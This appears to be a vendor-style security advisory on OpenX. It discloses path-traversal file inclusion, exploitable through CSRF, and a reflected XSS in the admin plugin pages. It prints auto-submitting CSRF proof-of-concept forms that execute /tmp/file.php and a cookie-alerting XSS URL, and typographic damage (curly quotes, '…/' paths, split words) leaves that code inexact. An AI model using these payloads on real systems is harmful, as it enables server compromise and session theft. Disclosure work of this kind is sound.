High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in OpenX, which can be exploited to execute arbitrary PHP code, perform Cross-Site Scripting (XSS) attacks and compromise vulnerable system.
Successful exploitation of these vulnerabilities requires administrative privileges, however they can also be exploited by a remote non-authenticated attacker via CSRF vector, since the application is prone to Cross-Site Request Forgery (CSRF) attacks. In order to do so an attacker should trick logged-in OpenX administrator to open a specially crafted web page with CSRF exploit code.
Simple CSRF exploit below for the first vulnerability includes and executes “/tmp/file.php” script:
<form action=“http://[host]/www/admin/plugin-preferences.php?group=…/…/…/…/…/ tmp/file.php%00” method=“post” name=“main”>
<input type=“hidden” name=“submitok” value=“true”>
<input type=“submit” id=“btn”>
</form>
<script>
document.main.submit();
</script>
Simple CSRF exploit below for the second vulnerability includes and executes “/tmp/file.php” script:
<form action=“http://[host]/www/admin/plugin-settings.php?group=…/…/…/…/…/tmp /file.php%00” method=“post” name=“main”>
<input type=“hidden” name=“submitok” value=“true”>
<input type=“submit” id=“btn”>
</form>
<script>
document.main.submit();
</script>
2.2 The vulnerability exists due to insufficient filtration of user-supplied data in “group” HTTP GET parameter passed to “/www/admin/plugin-settings.php” script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in his browser in context of the vulnerable website.
The exploitation example below uses the “alert()” JavaScript function to display administrator’s cookies:
http://[host]/www/admin/plugin-settings.php?group=%3Cscript%3Ealert%28docume nt.cookie%29;%3C/script%3E